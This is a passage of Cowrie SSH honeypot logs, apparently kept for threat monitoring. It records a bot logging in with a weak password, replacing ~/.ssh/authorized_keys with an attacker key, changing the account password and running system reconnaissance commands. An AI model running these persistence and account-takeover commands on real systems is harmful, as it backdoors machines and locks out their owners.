sh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:43.157924Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:43.590531Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:43.844018Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:43.847590Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:43.851601Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:43.958647Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:44.203720Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:44.207303Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:44.314572Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:44.318639Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":49806,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36663ae4809","protocol":"ssh","message":"New connection: 170.79.37.88:49806 (159.203.135.109:22) [session: d36663ae4809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:44.416926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:44.421554Z","src_ip":"170.79.37.88","session":"d36663ae4809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:44.524860Z","src_ip":"170.79.37.88","session":"d36663ae4809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:44.963758Z","src_ip":"170.79.37.88","session":"d36663ae4809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:46.068396Z","src_ip":"170.79.37.88","session":"d36663ae4809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":49808,"dst_ip":"159.203.135.109","dst_port":22,"session":"53edac65da14","protocol":"ssh","message":"New connection: 170.79.37.88:49808 (159.203.135.109:22) [session: 53edac65da14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:46.162718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:46.167992Z","src_ip":"170.79.37.88","session":"53edac65da14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:46.309736Z","src_ip":"170.79.37.88","session":"53edac65da14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:46.696261Z","src_ip":"170.79.37.88","session":"53edac65da14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:47.800757Z","src_ip":"170.79.37.88","session":"53edac65da14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:47.950478Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:47.954439Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:48.060510Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:48.310194Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin123!\\nxyO7OUCDFGCA\\nxyO7OUCDFGCA\"|passwd|bash","message":"CMD: echo -e \"admin123!\\nxyO7OUCDFGCA\\nxyO7OUCDFGCA\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:48.314796Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:48.318696Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:48.322964Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/965f924441397e14ec2aeaa12e4c64fe8687b613b4f3624143d52cea57ce3ea7","size":32,"shasum":"965f924441397e14ec2aeaa12e4c64fe8687b613b4f3624143d52cea57ce3ea7","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/965f924441397e14ec2aeaa12e4c64fe8687b613b4f3624143d52cea57ce3ea7 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:48.430300Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:48.682199Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin123!\\nxyO7OUCDFGCA\\nxyO7OUCDFGCA\\n\"|passwd","message":"CMD: echo \"admin123!\\nxyO7OUCDFGCA\\nxyO7OUCDFGCA\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:48.685786Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/90c80228742fb3cdc34c1233b08cbb7c341fd3e251c89d425a15e8d8f7571c68","size":25,"shasum":"90c80228742fb3cdc34c1233b08cbb7c341fd3e251c89d425a15e8d8f7571c68","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/90c80228742fb3cdc34c1233b08cbb7c341fd3e251c89d425a15e8d8f7571c68 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:48.788336Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.075180Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.078657Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.185042Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.429138Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.432519Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.535038Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.771021Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.774033Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.776468Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:49.878106Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:50.124325Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:50.127528Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:50.229261Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:50.475219Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:50.478610Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:50.580614Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:50.821825Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:50.825259Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:50.930986Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:51.169072Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:51.171885Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:51.273812Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:51.520189Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:51.524199Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:51.628231Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:51.901793Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:51.905533Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
